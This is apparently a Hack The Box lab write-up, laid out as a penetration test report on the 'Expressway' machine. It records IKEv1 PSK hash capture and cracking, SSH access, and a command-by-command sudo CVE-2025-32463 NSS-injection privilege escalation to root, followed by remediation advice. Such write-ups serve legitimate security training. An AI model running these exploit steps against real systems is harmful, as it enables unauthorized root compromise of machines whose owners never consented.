

PENETRATION TEST REPORT

Hack The Box // Expressway

Date	December 10, 2025
Target	10.10.11.87 (expressway.htb)
Tester	4ss3m
Classification	CONFIDENTIAL
Status	Completed — Machine Pwned (#13849)
Points Earned	30

1. Executive Summary

A penetration test was conducted against the Hack The Box machine Expressway (10.10.11.87) on December 10, 2025. The assessment identified a two-stage attack chain that resulted in full root-level compromise. The target exposed an IKEv1/XAUTH VPN service on UDP/500 with a weak pre-shared key. The PSK was cracked offline, XAUTH credentials recovered, and SSH access obtained as user ike. Post-exploitation enumeration revealed a vulnerable version of sudo (1.9.17) susceptible to CVE-2025-32463, a local privilege escalation via the -R flag and NSS library injection, resulting in a root shell.

Finding	Severity	Status
Weak IKEv1 PSK — VPN Credential Exposure	CRITICAL	Confirmed
XAUTH Credential Reuse — SSH Access	HIGH	Confirmed
CVE-2025-32463 — Sudo NSS Privilege Escalation	CRITICAL	Confirmed

2. Scope & Methodology

Target IP	10.10.11.87
Hostname	expressway.htb

OS	Debian GNU/Linux (kernel 6.16.7+deb14-amd64)
Services	SSH/22 (TCP), IKEv1/500 (UDP), TFTP/69 (UDP), NAT-T/4500 (UDP)
Test Type	Black-box penetration test
VPN	tun0 — 10.10.16.3
01 Reconnaissance	TCP/UDP port scanning with Nmap; IKE service fingerprinting
02 VPN Analysis	IKEv1 handshake capture; PSK hash extraction with ike-scan
03 Hash Cracking	Offline PSK crack with hashcat; XAUTH credential recovery
04 Initial Access	SSH login as user ike using recovered XAUTH credentials
05 Enumeration	SUID binary audit; sudo version identification
06 Privilege Esc.	CVE-2025-32463 exploitation via sudo -R NSS injection root

3. Reconnaissance

3.1 TCP Port Scan

An Nmap TCP scan revealed only SSH on port 22, running OpenSSH 10.0p2. No web service or other TCP attack surface was exposed.

```
nmap -A -oN nmap.txt 10.10.11.87

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.0p2 Debian 8 (protocol 2.0)
```

3.2 UDP Port Scan

A UDP scan revealed three significant services: TFTP on 69/UDP, IKEv1/ISAKMP on 500/UDP, and NAT-T on 4500/UDP. The IKE service responded with XAUTH support and Dead Peer Detection v1.0, indicating a VPN endpoint configured with Extended Authentication.

```
nmap -sU -A -oN udp-nmap.txt 10.10.11.87

PORT      STATE      SERVICE    VERSION
69/udp    open       tftp       Netkit tftpd or atftpd
500/udp   open       isakmp
|_ ike-version:
|   attributes:
|       XAUTH
|_   Dead Peer Detection v1.0
4500/udp  open|filtered nat-t-ike
```

3.3 IKE Fingerprinting & PSK Hash Extraction

The IKEv1 service was probed using ike-scan in aggressive mode to initiate a Main Mode handshake. During this exchange the server committed to a proposal, allowing extraction of the IKE hash (a challenge-response value derived from the pre-shared key). Two separate hashes were captured across authentication attempts — the identity field confirmed the target identity as ike@expressway.htb.

```
ike-scan --aggressive --id=ike@expressway.htb \
        --pskcrack=pskhash.txt 10.10.11.87

# Identity extracted from IKE payload:
# 030000000696b6540657870726573737761792e687462
# → ike@expressway.htb
```

4. Initial Access

4.1 PSK Hash Cracking

The extracted IKE XAUTH hash was submitted to hashcat (mode 5400 — IKE-PSK MD5/SHA1) with the rockyou.txt wordlist. The pre-shared key was recovered, and the associated XAUTH username and password were extracted from the cracked material, revealing valid SSH credentials for user ike.

```
hashcat -m 5400 pskhash.txt /usr/share/wordlists/rockyou.txt  
  
# PSK recovered → XAUTH credentials extracted  
# Username: ike  
# Password: [REDACTED]
```

4.2 SSH Access as User ike

The recovered XAUTH credentials were used to authenticate via SSH on port 22. Access was granted as user ike. The user flag was retrieved from the home directory.

```
ssh ike@10.10.11.87  
# Password: [REDACTED]  
  
ike@expressway:~$ cat user.txt  
[REDACTED]
```

5. Privilege Escalation

5.1 SUID & Sudo Enumeration

Post-exploitation enumeration identified two sudo binaries: the standard `/usr/bin/sudo` and a non-standard `/usr/local/bin/sudo`. Version check confirmed sudo 1.9.17, which is vulnerable to CVE-2025-32463.

```
find / -type f -perm -u=s 2>/dev/null
# Notable: /usr/local/bin/sudo

/usr/local/bin/sudo --version
Sudo version 1.9.17
```

5.2 CVE-2025-32463 — Sudo -R NSS Library Injection

Sudo 1.9.17 introduced a `-R <root>` flag that changes the root directory for the sudo process before privilege checks. This allows an unprivileged user to supply a custom `nsswitch.conf` pointing to an attacker-controlled NSS library. Since the NSS library is loaded before privilege validation, any function marked `__attribute__((constructor))` (or via `-Wl,-init`) executes as root. The exploit creates a staged directory with a custom `nsswitch.conf` and a shared library whose init function calls `setreuid(0,0)` and spawns a SUID bash copy.

```
# Stage directory setup
STAGE=$(mktemp -d /tmp/pentest.stage.XXXXXX)
mkdir -p $STAGE/pentest/etc $STAGE/libnss_

# Custom nsswitch.conf → load attacker NSS library
echo "passwd: /pentester" > $STAGE/pentest/etc/nsswitch.conf
cp /etc/group $STAGE/pentest/etc

# Malicious shared library: init function runs as root
gcc -shared -fPIC -Wl,-init,woot -o $STAGE/libnss_/pentester.so.2 pentester.c

# Trigger: sudo -R changes root to stage dir → loads our library
sudo -R pentest pentest

# Backdoor bash dropped by init function
/tmp/rootbash -p

root@expressway:/# id
uid=0(root) gid=0(root)
```

5.3 Root Flag

```
root@expressway:/root# cat root.txt
[REDACTED]
```

6. Vulnerability Findings

Finding 1 — Weak IKEv1 Pre-Shared Key		CRITICAL
Location	UDP/500 — IKEv1 ISAKMP service	
Description	The VPN endpoint used IKEv1 Main Mode with XAUTH and a weak pre-shared key. The PSK hash is extractable by any unauthenticated attacker via a passive or active IKE handshake, and is crackable offline using common wordlists.	
Impact	Full recovery of the VPN pre-shared key and XAUTH credentials, enabling authentication as a valid system user.	
Remediation	Migrate to IKEv2 with certificate-based authentication. If PSK must be used, enforce a minimum 20-character random PSK. Restrict IKE access by IP allowlist.	

Finding 2 — XAUTH Credential Reuse — SSH Access		HIGH
Location	SSH/22 — user: ike	
Description	The XAUTH credentials recovered from the cracked IKE PSK were identical to the OS account password for user ike, enabling direct SSH access without requiring VPN establishment.	
Impact	Unauthenticated remote access to the system as a valid user, bypassing the VPN entirely.	
Remediation	Use separate, unique credentials for VPN XAUTH and OS accounts. Enforce MFA on SSH. Restrict SSH access to VPN tunnel IPs only.	

Finding 3 — CVE-2025-32463 — Sudo 1.9.17 Local Privilege Escalation		CRITICAL
Location	/usr/local/bin/sudo — version 1.9.17	
Description	Sudo 1.9.17 is vulnerable to a local privilege escalation via the -R flag. The flag instructs sudo to change its root directory before loading NSS libraries, allowing an attacker-controlled nsswitch.conf and shared library to be loaded with root privileges before any permission checks occur.	
Impact	Any local user can obtain a root shell in a single command sequence. Full system compromise.	
Remediation	Upgrade sudo to 1.9.18 or later. Remove the non-standard /usr/local/bin/sudo binary. Apply the principle of least privilege — restrict sudo access to specific commands only.	

7. Recommendations

Priority	Action
1 — CRITICAL	Upgrade sudo to 1.9.18+; remove /usr/local/bin/sudo immediately
2 — CRITICAL	Replace IKEv1 PSK with IKEv2 + certificate authentication
3 — HIGH	Enforce separate credentials for VPN XAUTH and OS accounts
4 — HIGH	Restrict SSH to VPN tunnel IPs; enable key-based auth only
5 — MEDIUM	Audit all SUID binaries; remove unnecessary setuid permissions
6 — MEDIUM	Restrict UDP/500 and UDP/4500 to authorized VPN peer IPs only

8. Conclusion

The Expressway machine demonstrated a realistic attack chain targeting exposed network infrastructure services. No web application was involved — the entire compromise relied on a weak IKEv1 pre-shared key, credential reuse, and an unpatched local sudo vulnerability. The critical path was: IKE PSK crack SSH access CVE-2025-32463 root. Each vulnerability is straightforward to remediate independently, and fixing any one of them would have broken the chain.